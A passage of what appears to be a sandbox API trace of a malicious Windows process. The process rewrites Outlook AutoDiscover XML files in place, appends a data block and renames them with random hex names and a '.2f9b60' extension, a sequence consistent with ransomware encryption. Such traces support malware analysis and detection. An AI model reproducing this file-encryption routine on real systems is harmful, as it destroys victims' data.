Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.NZ.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.nz.xml")) returned 0x20 [0229.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.NZ.XML", dwFileAttributes=0x20) returned 1 [0229.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.NZ.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.nz.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x93c [0229.286] GetFileSizeEx (in: hFile=0x93c, lpFileSize=0x2ed2fe20 | out: lpFileSize=0x2ed2fe20*=812) returned 1 [0229.286] SetFilePointerEx (in: hFile=0x93c, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.286] ReadFile (in: hFile=0x93c, lpBuffer=0x2ed2fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ed2fde8, lpOverlapped=0x0 | out: lpBuffer=0x2ed2fda0*, lpNumberOfBytesRead=0x2ed2fde8*=0x4, lpOverlapped=0x0) returned 1 [0230.643] SetFilePointerEx (in: hFile=0x93c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0230.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262930 [0230.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202637a0 [0230.644] NtQuerySystemTime (in: CurrentTime=0x2ed2fce0 | out: CurrentTime=0x2ed2fce0*=132462178346314000) returned 0x0 [0230.644] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x3525a172 [0230.644] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x4b5b9c73 [0230.644] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x1f035c49 [0230.644] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x1b0cf55b [0230.644] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x726e4fb9 [0230.644] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x4040d0ae [0230.644] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x48acadd4 [0230.644] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x5e14b24b [0230.644] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x538f3db1 [0230.644] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x74cc727f [0230.644] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x35f3e414 [0230.644] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x3e81b59e [0230.644] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x25798384 [0230.644] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x1c63bb5b [0230.644] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x718d3414 [0230.644] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x1b487c22 [0230.644] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x60f50eab [0230.644] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x3eb9c186 [0230.644] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x65c4032a [0230.644] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x2da60436 [0230.644] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x21c76fad [0230.644] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x435aa5b8 [0230.645] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x4ff76cbb [0230.645] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x47c39a40 [0230.645] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x161d8c43 [0230.645] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x7d9d5d4c [0230.645] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x5d74c076 [0230.645] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x414a18d3 [0230.645] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x2189391f [0230.645] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x1f035c49 [0230.645] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x68ca40e4 [0230.645] RtlRandomEx (in: Seed=0x2ed2fcd0 | out: Seed=0x2ed2fcd0) returned 0x12910ede [0230.672] ReadFile (in: hFile=0x93c, lpBuffer=0x42fac580, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x2ed2fcd0, lpOverlapped=0x0 | out: lpBuffer=0x42fac580*, lpNumberOfBytesRead=0x2ed2fcd0*=0x32c, lpOverlapped=0x0) returned 1 [0230.672] SetFilePointerEx (in: hFile=0x93c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.672] WriteFile (in: hFile=0x93c, lpBuffer=0x42fa1150*, nNumberOfBytesToWrite=0x32c, lpNumberOfBytesWritten=0x2ed2fcd4, lpOverlapped=0x0 | out: lpBuffer=0x42fa1150*, lpNumberOfBytesWritten=0x2ed2fcd4*=0x32c, lpOverlapped=0x0) returned 1 [0233.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202639e0 [0233.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262120 [0233.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262120) returned 1 [0233.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42fa1150) returned 1 [0233.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42fac580) returned 1 [0233.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867fc0) returned 1 [0233.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97e90) returned 1 [0233.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x431acea0 [0233.831] SetFilePointerEx (in: hFile=0x93c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.831] WriteFile (in: hFile=0x93c, lpBuffer=0x431f2580*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2ed2fdf0, lpOverlapped=0x0 | out: lpBuffer=0x431f2580*, lpNumberOfBytesWritten=0x2ed2fdf0*=0x110, lpOverlapped=0x0) returned 1 [0236.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0236.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261a00 [0236.079] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261a00) returned 1 [0236.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20261a00 [0236.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260680 [0236.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202632f0 [0236.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202632f0) returned 1 [0236.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0236.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1cd97620 [0236.082] sprintf (in: _Dest=0x1cd97620, _Format="%c%c" | out: _Dest="79") returned 2 [0236.082] sprintf (in: _Dest=0x1cd97622, _Format="%c%c" | out: _Dest="01") returned 2 [0236.082] sprintf (in: _Dest=0x1cd97624, _Format="%c%c" | out: _Dest="95") returned 2 [0236.082] sprintf (in: _Dest=0x1cd97626, _Format="%c%c" | out: _Dest="0a") returned 2 [0236.082] sprintf (in: _Dest=0x1cd97628, _Format="%c%c" | out: _Dest="2f") returned 2 [0236.082] sprintf (in: _Dest=0x1cd9762a, _Format="%c%c" | out: _Dest="ca") returned 2 [0236.082] sprintf (in: _Dest=0x1cd9762c, _Format="%c%c" | out: _Dest="17") returned 2 [0236.082] sprintf (in: _Dest=0x1cd9762e, _Format="%c%c" | out: _Dest="ce") returned 2 [0236.082] sprintf (in: _Dest=0x1cd97630, _Format="%c%c" | out: _Dest="11") returned 2 [0236.082] sprintf (in: _Dest=0x1cd97632, _Format="%c%c" | out: _Dest="58") returned 2 [0236.082] sprintf (in: _Dest=0x1cd97634, _Format="%c%c" | out: _Dest="97") returned 2 [0236.082] sprintf (in: _Dest=0x1cd97636, _Format="%c%c" | out: _Dest="07") returned 2 [0236.082] sprintf (in: _Dest=0x1cd97638, _Format="%c%c" | out: _Dest="46") returned 2 [0236.082] sprintf (in: _Dest=0x1cd9763a, _Format="%c%c" | out: _Dest="ad") returned 2 [0236.082] sprintf (in: _Dest=0x1cd9763c, _Format="%c%c" | out: _Dest="4e") returned 2 [0236.082] sprintf (in: _Dest=0x1cd9763e, _Format="%c%c" | out: _Dest="e5") returned 2 [0236.082] sprintf (in: _Dest=0x1cd97640, _Format="%c%c" | out: _Dest="79") returned 2 [0236.082] sprintf (in: _Dest=0x1cd97642, _Format="%c%c" | out: _Dest="ce") returned 2 [0236.082] sprintf (in: _Dest=0x1cd97644, _Format="%c%c" | out: _Dest="33") returned 2 [0236.082] sprintf (in: _Dest=0x1cd97646, _Format="%c%c" | out: _Dest="2e") returned 2 [0236.082] sprintf (in: _Dest=0x1cd97648, _Format="%c%c" | out: _Dest="a7") returned 2 [0236.082] sprintf (in: _Dest=0x1cd9764a, _Format="%c%c" | out: _Dest="31") returned 2 [0236.082] sprintf (in: _Dest=0x1cd9764c, _Format="%c%c" | out: _Dest="2d") returned 2 [0236.083] sprintf (in: _Dest=0x1cd9764e, _Format="%c%c" | out: _Dest="a6") returned 2 [0236.083] sprintf (in: _Dest=0x1cd97650, _Format="%c%c" | out: _Dest="bb") returned 2 [0236.083] sprintf (in: _Dest=0x1cd97652, _Format="%c%c" | out: _Dest="8d") returned 2 [0236.083] sprintf (in: _Dest=0x1cd97654, _Format="%c%c" | out: _Dest="7b") returned 2 [0236.083] sprintf (in: _Dest=0x1cd97656, _Format="%c%c" | out: _Dest="a8") returned 2 [0236.083] sprintf (in: _Dest=0x1cd97658, _Format="%c%c" | out: _Dest="10") returned 2 [0236.083] sprintf (in: _Dest=0x1cd9765a, _Format="%c%c" | out: _Dest="23") returned 2 [0236.083] RtlInitAnsiString (in: DestinationString=0x2ed2fe68, SourceString="7901950a2fca17ce1158970746ad4ee579ce332ea7312da6bb8d7ba81023" | out: DestinationString="7901950a2fca17ce1158970746ad4ee579ce332ea7312da6bb8d7ba81023") [0236.083] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ed2fe38, SourceString="7901950a2fca17ce1158970746ad4ee579ce332ea7312da6bb8d7ba81023", AllocateDestinationString=1 | out: DestinationString="7901950a2fca17ce1158970746ad4ee579ce332ea7312da6bb8d7ba81023") returned 0x0 [0236.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x42c22cf0 [0236.084] wcscat (in: _Dest=0x4311bb60, _Source="7901950a2fca17c" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\7901950a2fca17c") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\7901950a2fca17c" [0236.084] wcscat (in: _Dest=0x4311bb60, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\7901950a2fca17c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\7901950a2fca17c.2f9b60" [0236.084] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\7901950a2fca17c.2f9b60", NtPathName=0x2ed2fe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\7901950a2fca17c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x430d7600 Thread: id = 3824 os_tid = 0xf30 [0227.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.TH.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.th.xml")) returned 0x20 [0229.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.TH.XML", dwFileAttributes=0x20) returned 1 [0229.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.TH.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.th.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe84 [0229.294] GetFileSizeEx (in: hFile=0xe84, lpFileSize=0x2e23fae0 | out: lpFileSize=0x2e23fae0*=810) returned 1 [0229.294] SetFilePointerEx (in: hFile=0xe84, liDistanceToMove=0x326, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.294] ReadFile (in: hFile=0xe84, lpBuffer=0x2e23fa60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e23faa8, lpOverlapped=0x0 | out: lpBuffer=0x2e23fa60*, lpNumberOfBytesRead=0x2e23faa8*=0x4, lpOverlapped=0x0) returned 1 [0230.492] SetFilePointerEx (in: hFile=0xe84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0230.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263020 [0230.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262db0 [0230.493] NtQuerySystemTime (in: CurrentTime=0x2e23f9a0 | out: CurrentTime=0x2e23f9a0*=132462178344910000) returned 0x0 [0230.493] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x1e169589 [0230.493] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x2f44ea81 [0230.493] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x5d474bd3 [0230.493] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x755b4df8 [0230.493] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x14b988f9 [0230.493] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x3e2d92c2 [0230.493] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x19c3a844 [0230.493] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x321e125b [0230.493] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x6a42cd2c [0230.493] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0xaf45e3f [0230.493] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x4c9495e5 [0230.493] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x5a5a0a55 [0230.493] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x4dc85645 [0230.493] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x5c720a71 [0230.493] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x6e39236f [0230.493] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0xe3bfbf4 [0230.493] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x7ffb43c4 [0230.493] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x2cc4478f [0230.493] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x6a1015d6 [0230.493] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x199d8a0f [0230.493] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x5325005f [0230.493] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x5837c6c1 [0230.493] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x7cfdcbc [0230.493] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x5f456f5b [0230.493] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x386fb06c [0230.493] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x512b64bd [0230.493] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x8a31bc8 [0230.493] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x20cbae17 [0230.494] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x7784e51a [0230.494] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x7fc84899 [0230.494] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x4d1e2b50 [0230.494] RtlRandomEx (in: Seed=0x2e23f990 | out: Seed=0x2e23f990) returned 0x46eb2ac9 [0230.501] ReadFile (in: hFile=0xe84, lpBuffer=0x423c1150, nNumberOfBytesToRead=0x32a, lpNumberOfBytesRead=0x2e23f990, lpOverlapped=0x0 | out: lpBuffer=0x423c1150*, lpNumberOfBytesRead=0x2e23f990*=0x32a, lpOverlapped=0x0) returned 1 [0230.502] SetFilePointerEx (in: hFile=0xe84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.502] WriteFile (in: hFile=0xe84, lpBuffer=0x423db5c0*, nNumberOfBytesToWrite=0x32a, lpNumberOfBytesWritten=0x2e23f994, lpOverlapped=0x0 | out: lpBuffer=0x423db5c0*, lpNumberOfBytesWritten=0x2e23f994*=0x32a, lpOverlapped=0x0) returned 1 [0233.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261ac0 [0233.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625a0 [0233.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202625a0) returned 1 [0233.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423db5c0) returned 1 [0233.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423c1150) returned 1 [0233.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ec0) returned 1 [0233.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd975d0) returned 1 [0233.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x431ad3a0 [0233.760] SetFilePointerEx (in: hFile=0xe84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.760] WriteFile (in: hFile=0xe84, lpBuffer=0x42c14510*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2e23fab0, lpOverlapped=0x0 | out: lpBuffer=0x42c14510*, lpNumberOfBytesWritten=0x2e23fab0*=0x110, lpOverlapped=0x0) returned 1 [0235.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce617e0 [0235.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262630 [0235.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262630) returned 1 [0235.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20262630 [0235.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202615b0 [0235.877] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263710 [0235.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263710) returned 1 [0235.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.878] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce617e0) returned 1 [0235.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1ce617e0 [0235.879] sprintf (in: _Dest=0x1ce617e0, _Format="%c%c" | out: _Dest="7e") returned 2 [0235.879] sprintf (in: _Dest=0x1ce617e2, _Format="%c%c" | out: _Dest="5d") returned 2 [0235.879] sprintf (in: _Dest=0x1ce617e4, _Format="%c%c" | out: _Dest="92") returned 2 [0235.879] sprintf (in: _Dest=0x1ce617e6, _Format="%c%c" | out: _Dest="67") returned 2 [0235.879] sprintf (in: _Dest=0x1ce617e8, _Format="%c%c" | out: _Dest="5d") returned 2 [0235.879] sprintf (in: _Dest=0x1ce617ea, _Format="%c%c" | out: _Dest="15") returned 2 [0235.879] sprintf (in: _Dest=0x1ce617ec, _Format="%c%c" | out: _Dest="d6") returned 2 [0235.879] sprintf (in: _Dest=0x1ce617ee, _Format="%c%c" | out: _Dest="6d") returned 2 [0235.879] sprintf (in: _Dest=0x1ce617f0, _Format="%c%c" | out: _Dest="e3") returned 2 [0235.879] sprintf (in: _Dest=0x1ce617f2, _Format="%c%c" | out: _Dest="9f") returned 2 [0235.879] sprintf (in: _Dest=0x1ce617f4, _Format="%c%c" | out: _Dest="50") returned 2 [0235.879] sprintf (in: _Dest=0x1ce617f6, _Format="%c%c" | out: _Dest="1d") returned 2 [0235.879] sprintf (in: _Dest=0x1ce617f8, _Format="%c%c" | out: _Dest="27") returned 2 [0235.879] sprintf (in: _Dest=0x1ce617fa, _Format="%c%c" | out: _Dest="32") returned 2 [0235.879] sprintf (in: _Dest=0x1ce617fc, _Format="%c%c" | out: _Dest="e3") returned 2 [0235.879] sprintf (in: _Dest=0x1ce617fe, _Format="%c%c" | out: _Dest="6f") returned 2 [0235.879] sprintf (in: _Dest=0x1ce61800, _Format="%c%c" | out: _Dest="eb") returned 2 [0235.879] sprintf (in: _Dest=0x1ce61802, _Format="%c%c" | out: _Dest="a6") returned 2 [0235.879] sprintf (in: _Dest=0x1ce61804, _Format="%c%c" | out: _Dest="45") returned 2 [0235.879] sprintf (in: _Dest=0x1ce61806, _Format="%c%c" | out: _Dest="61") returned 2 [0235.879] sprintf (in: _Dest=0x1ce61808, _Format="%c%c" | out: _Dest="96") returned 2 [0235.879] sprintf (in: _Dest=0x1ce6180a, _Format="%c%c" | out: _Dest="ff") returned 2 [0235.879] sprintf (in: _Dest=0x1ce6180c, _Format="%c%c" | out: _Dest="9e") returned 2 [0235.879] sprintf (in: _Dest=0x1ce6180e, _Format="%c%c" | out: _Dest="29") returned 2 [0235.880] sprintf (in: _Dest=0x1ce61810, _Format="%c%c" | out: _Dest="aa") returned 2 [0235.880] sprintf (in: _Dest=0x1ce61812, _Format="%c%c" | out: _Dest="7b") returned 2 [0235.880] sprintf (in: _Dest=0x1ce61814, _Format="%c%c" | out: _Dest="c9") returned 2 [0235.880] sprintf (in: _Dest=0x1ce61816, _Format="%c%c" | out: _Dest="2a") returned 2 [0235.880] sprintf (in: _Dest=0x1ce61818, _Format="%c%c" | out: _Dest="31") returned 2 [0235.880] sprintf (in: _Dest=0x1ce6181a, _Format="%c%c" | out: _Dest="77") returned 2 [0235.880] RtlInitAnsiString (in: DestinationString=0x2e23fb28, SourceString="7e5d92675d15d66de39f501d2732e36feba6456196ff9e29aa7bc92a3177" | out: DestinationString="7e5d92675d15d66de39f501d2732e36feba6456196ff9e29aa7bc92a3177") [0235.880] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e23faf8, SourceString="7e5d92675d15d66de39f501d2732e36feba6456196ff9e29aa7bc92a3177", AllocateDestinationString=1 | out: DestinationString="7e5d92675d15d66de39f501d2732e36feba6456196ff9e29aa7bc92a3177") returned 0x0 [0235.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x43156220 [0235.880] wcscat (in: _Dest=0x4312a520, _Source="7e5d92675d15d66" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\7e5d92675d15d66") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\7e5d92675d15d66" [0235.880] wcscat (in: _Dest=0x4312a520, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\7e5d92675d15d66.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\7e5d92675d15d66.2f9b60" [0235.881] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\7e5d92675d15d66.2f9b60", NtPathName=0x2e23fad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\7e5d92675d15d66.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x430d6b80 Thread: id = 3825 os_tid = 0xeb4 [0227.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.UK.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.uk.xml")) returned 0x20 [0229.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.UK.XML", dwFileAttributes=0x20) returned 1 [0229.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.UK.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.uk.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1148 [0229.295] GetFileSizeEx (in: hFile=0x1148, lpFileSize=0x2e02f8c0 | out: lpFileSize=0x2e02f8c0*=810) returned 1 [0229.296] SetFilePointerEx (in: hFile=0x1148, liDistanceToMove=0x326, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.296] ReadFile (in: hFile=0x1148, lpBuffer=0x2e02f840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e02f888, lpOverlapped=0x0 | out: lpBuffer=0x2e02f840*, lpNumberOfBytesRead=0x2e02f888*=0x4, lpOverlapped=0x0) returned 1 [0230.623] SetFilePointerEx (in: hFile=0x1148, liDistanceToMove=0x0, 